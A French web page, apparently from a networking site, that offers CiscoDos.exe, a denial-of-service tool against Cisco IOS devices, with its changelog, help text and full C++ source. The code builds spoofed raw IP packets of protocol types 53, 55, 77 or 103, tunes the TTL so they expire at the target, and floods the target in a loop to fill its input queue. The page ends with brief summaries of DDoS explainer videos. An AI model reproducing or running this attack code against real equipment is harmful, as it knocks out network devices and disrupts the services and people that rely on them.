Outil d’attaque DOS d’un équipement Cisco
Sommaire
1 – Définition de l’exécutable
L’utilitaire CiscoDos envoi des trame IP basé sur les protocoles IP de type 53, 55, 77 et 103. il permet donc de réaliser l’attaque Cisco afin de rendre inutilisable une interface. L’intérêt de cet utilitaire est de pouvoir changer son IP source de manière aléatoire.
2 – Screen shot
3 – Download
Nom : CiscoDos.exe
Mode : Console
Version : 4.0
Librairie : 3.10
Taille : 56 Ko
Auteur : _SebF
Date de création : 28 Juillet 2003
Dernière compilation : 29 Août 2006
4 – Suivi du développement
4.1 – Problème restant
4.2 – RoadMap
4.3 – Suivi du projet
- V4.0.3.10
Migration vers Libpcap
Ajout des arguments -send_mode -interface
Affichage de l’IP_TYPE choisit au lieu du nombre d’octet envoyé - V3.4.3.9
Correction du bug sur la résolution de nom d’host spécifié dans -ip_source - V3.3.3.5
Changement de l’email dans l’aide.
Remplacement de l’email par l’url www.frameip.com dans les data. - V3.2.3.3
Changement du protocole par défaut à 77 au lieu de 103. - V3.2
Intégration du paramètre char [65535] dans la procédure des gestions d’erreurs. - V3.1
Nouvel gestion des arguments intégrant les /.
Suppression des résolutions de noms à l’affichage de l’aide.
Changement de la définition de la variable longueur_de_data_a_envoyer de int en size_t. - V2.5
Intégration du nouveau loops infinie géré dans la gestion des arguments. - V2.4
Suppression de la struct TCP dans la longueur à émettre. Erreur de copier coller.
Ajout de l’option Ip Source aléatoire.
Ajout du code erreur 5. - V2.3
Suppression des 3 Warning. - V2.2
Gestion des codes d’erreurs.
Control du fonctionnement des arguments.
Intégration du While permettant la boucle. - V2.1
Intégration des variable ip_source_initiale et ip_destination_initiale.
Intégration de l’argument loops.
Refonte de l’affichage de l’aide. - V1.0
Création du projet Cmd.
Passage en Level 4.
Suppression du répertoire Debug.
Gestion de l’argument de la boucle.
Test de crash d’une machine => OK.
5 – Code source
5.1 – CiscoDos.cpp
// ********************************************************
// ********************************************
// Nom : CiscoDos.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 28 Juillet 2003
// version : 4.0.3.10
// Licence : Cette executable est libre de toute utilisation.
// La seule condition existante est de faire référence
// au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************
// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"
// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")
// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void affichage_de_l_aide(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);
// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac; // Entête Ethernet
struct ipv4 entete_ipv4; // Entete IP
char data_a_envoyer[65535]; // Data
size_t taille_de_data; // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // Entete IP + data
int nombre_de_caractere_emis; // Variable récupérant le nombre de caractères émis
unsigned long loops; // Compteur permettant de lancer x fois les trames
char ip_destination[16]; // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie; // Variable permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire; // Acive ou désactive le mode IP Source Aléatoire
unsigned int choix_mode_d_envoi; // Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface; // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon; // Adresse MAC
int main (int argc, char* argv[])
{
initiation_des_variables();
gestion_des_arguments(argc,argv);
if (loops==0) // Conditionne si le bouclage infinie
bouclage_infinie=TRUE;
while ( (loops!=0)||(bouclage_infinie==TRUE) )
{
loops--;
Changement_aleatoire_des_valeurs();
// ********************************************************
// Envoi de la trame
// ********************************************************
if (choix_mode_d_envoi==0)
envoi_de_la_trame_winsock();
else
envoi_de_la_trame_pcap();
affichage_du_resultat();
}
printf("\n\n");
return(1);
}
void initiation_des_variables(void)
{
unsigned int i;
// ********************************************************
// Initiation diverse
// ********************************************************
srand(GetTickCount());
// ********************************************************
// Affichage de la banniere
// ********************************************************
printf("\nCiscoDos - Deny Of Service Cisco IOS - Version 4.0.3.10");
printf("\nCreate on July 28, 2003, Last compilation on August 29, 2006");
printf("\nCreated by Sebastien FONTAINE - http://www.frameip.com");
printf("\n");
// ********************************************************
// Initiation des arguments
// ********************************************************
loops=1;
bouclage_infinie=false;
ip_source_aleatoire=true;
choix_mode_d_envoi=1;
numero_de_l_interface=0;
liste_des_interfaces=recuperation_des_interfaces();
// ********************************************************
// Options de l'entête MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
{
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
entete_mac.destination[i]=255;
}
entete_mac.type=htons(2048); // 08 00 indiquant un datagramme IP
// ********************************************************
// Initialisation des data
// ********************************************************
strcpy(data_a_envoyer,"www.frameip.com");
taille_de_data=strlen(data_a_envoyer);
// ********************************************************
// Initialisation de l'entete Ip
// ********************************************************
entete_ipv4.ihl=5;
entete_ipv4.version=4;
entete_ipv4.tos=0;
entete_ipv4.length=0;
entete_ipv4.id=0; // Il est initialisé plutard
entete_ipv4.offset=0;
entete_ipv4.ttl=100;
entete_ipv4.type=77;
entete_ipv4.ip_source=0; // Il est initialisé plutard
strcpy(ip_destination,"192.168.101.254");
entete_ipv4.ip_destination=resolution_de_nom(TRUE,ip_destination);
}
void affichage_de_l_aide(void)
{
unsigned int i;
printf("\n");
printf("\n-? This help");
printf("\n-send_mode 0=Soket 1=Libpcap Default: %d",choix_mode_d_envoi);
printf("\n-loops Number of loops Default: %d (0 => no stop)",loops);
printf("\n\nFREE INTERFACES");
for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
printf("\n%d - %s",i,liste_des_interfaces.description[i]);
printf("\n-interface Interface choice Default: %d",numero_de_l_interface);
printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
printf("\n-ip_source @Ip or host name Default: %d (0 => random)",entete_ipv4.ip_source);
printf("\n-ip_destination @Ip or host name Default: %s (0 => random)",ip_destination);
printf("\n-ip_ttl Time To Live Default: %d",entete_ipv4.ttl);
printf("\n-ip_type Ip Protocol Default: %d",entete_ipv4.type);
printf("\n");
printf("\nsample : ciscodos.exe -interface 2 -ip_ttl 9 -loops 100");
printf("\n");
printf("\nYou must choise the good TTL, because the frame must expire to the target.");
printf(" If you want to deny the target, you must send servals frames to full the target queue.");
printf(" You must try to deny only YOUR equipment.");
printf("\n");
printf("\n");
exit(0);
}
void gestion_des_arguments(int argc,char* argv[])
{
char *caractere_non_convertit;
int i;
// ********************************************************
// S'il n'y a pas d'argument
// ********************************************************
if (argc==1)
affichage_de_l_aide();
// ********************************************************
// Récupération des arguments
// ********************************************************
for (i=1;i<argc;i=i+1)
{
// ********************************************************
// Options diverses
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-?")==0) || (strcmp(strlwr(argv[i]),"/?")==0) )
affichage_de_l_aide();
if (strcmp(strlwr(argv[i]),"-send_mode")==0)
{
choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if (choix_mode_d_envoi!=1)
choix_mode_d_envoi=0;
}
if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
{
loops=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if (loops==0)
bouclage_infinie=TRUE;
else
bouclage_infinie=FALSE;
}
// ********************************************************
// Choix de l'interface
// ********************************************************
if (strcmp(strlwr(argv[i]),"-interface")==0)
numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
// ********************************************************
// Options de l'entête IP
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-ip_source")==0) || (strcmp(strlwr(argv[i]),"/ip_source")==0) )
if (argv[i+1]==0)
ip_source_aleatoire=TRUE;
else
{
ip_source_aleatoire=FALSE;
entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
}
if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
if ( (strcmp(strlwr(argv[i]),"-ip_ttl")==0) || (strcmp(strlwr(argv[i]),"/ip_ttl")==0) )
entete_ipv4.ttl=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if ( (strcmp(strlwr(argv[i]),"-ip_type")==0) || (strcmp(strlwr(argv[i]),"/ip_type")==0) )
entete_ipv4.type=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
}
// ********************************************************
// Préparation des adresses MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
}
void Changement_aleatoire_des_valeurs()
{
// ********************************************************
// Random de l'IP Source
// ********************************************************
if (ip_source_aleatoire==TRUE)
entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);
// ********************************************************
// Random de l'ID IP
// ********************************************************
entete_ipv4.id=(unsigned short)(rand()%65536); // Tire entre 0 et 65535
}
void envoi_de_la_trame_winsock(void)
{
WSADATA initialisation_win32;
SOCKADDR_IN information_sur_la_destination;
SOCKET id_de_la_socket;
int tampon;
// ********************************************************
// Initialisation de la Socket
// ********************************************************
if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
gestion_des_erreurs(1,"WSAStartup",1,1);
// ********************************************************
// Ouverture d'une Socket
// ********************************************************
id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (id_de_la_socket==INVALID_SOCKET)
gestion_des_erreurs(1,"socket",1,1);
// ********************************************************
// Activation de l'option permettant d'inclure l'entete IP lors de l'emission
// ********************************************************
if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char *)&tampon,sizeof(tampon))!=0)
gestion_des_erreurs(1,"setsockopt",1,1);
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct ipv4),data_a_envoyer,taille_de_data);
// ********************************************************
// Paramètre nécessaire au sendto
// ********************************************************
information_sur_la_destination.sin_family=AF_INET;
information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;
// ********************************************************
// Envoi de la trame en winsock
// ********************************************************
nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer,sizeof(struct ipv4)+(int)taille_de_data,0,(struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
if (nombre_de_caractere_emis==-1)
gestion_des_erreurs(1,"sendto",1,1);
// ********************************************************
// Fermeture de la socket correspondant à la commande socket()
// ********************************************************
closesocket(id_de_la_socket);
// ********************************************************
// quite propement le winsock ouvert avec la commande WSAStartup
// ********************************************************
WSACleanup(); // (A appeller autant de fois qu'il a été ouvert)
}
void envoi_de_la_trame_pcap(void)
{
pcap_t *pointeur_interface;
char buffer_d_erreur[PCAP_ERRBUF_SIZE];
// ********************************************************
// Accède à l'interface
// ********************************************************
if ((pointeur_interface=pcap_open_live(liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
gestion_des_erreurs(1,"pcap_open_live",1,1);
// ********************************************************
// Calcul de la longueur totale
// ********************************************************
entete_ipv4.length=htons((unsigned short)(sizeof(struct ipv4)+taille_de_data));
// ********************************************************
// Calcul du checksum IP
// ********************************************************
entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);
// ********************************************************
// Concatenation des différentes couches
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4),data_a_envoyer,taille_de_data);
// ********************************************************
// Envoi de la trame
// ********************************************************
if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,sizeof(struct mac)+sizeof(struct ipv4)+taille_de_data)!=0)
gestion_des_erreurs(1,"pcap_sendpacket",1,1);
// ********************************************************
// Fermeture de l'accès à l'interface
// ********************************************************
pcap_close(pointeur_interface);
}
void affichage_du_resultat()
{
struct in_addr convertion_inet_addr;
// ********************************************************
// Affichage du resultat
// ********************************************************
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
printf("\nThe frame was sent with ip_type %d from %s",entete_ipv4.type,inet_ntoa(convertion_inet_addr));
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
printf(" to %s",inet_ntoa(convertion_inet_addr));
}
6 – Les vidéos
6.1 - Types of DDoS Attacks Explained
Businesses large and small, ecommerce sites, and government institutions are all highly susceptible to Distributed Denial of Service (DDoS) attacks in today's advanced cyber world. Downtime, lost revenue, and brand tarnishment are all byproducts of a DDoS attack, making these threats potentially detrimental to any organization. This video explains the different types of DDoS attacks and how best to prevent them.
6.2 - Mitigate DDoS Attacks in 60 Seconds
Cette vidéo en anglais vous présente de manière ludique un ensemble d'information autour des attaques de type DDOS (Distributed Denial of Service).
6.3 - Thwarting DDoS Attacks
Cette vidéo en anglais vous présente comment contrer les attaques de type DDOS (Distributed Denial of Service). Distributed Denial of Service (DDoS) attacks vary more than the types of bread at a global deli. They are easy to launch and one of the biggest security problems on the network today because they stop your network from functioning. Watch this special Security edition of Networking 101 and learn more about this threat and how you can prevent it. There are two types of DDoS attacks: a network-centric attack, which overloads a service by using up bandwidth, and an application-layer attack, which overloads a service or database with application calls. The outcome is the same-they stop your network.
6.4 - Introduction au Buffer Overflow
Cette vidéo présente simplement ce qu'est un Buffer Overflow via un exemple concrêt.
7 – Discussion autour de l’outil d’attaque DOS d’un équipement Cisco
Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque DOS d’un équipement Cisco. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :
Commentaire et discussion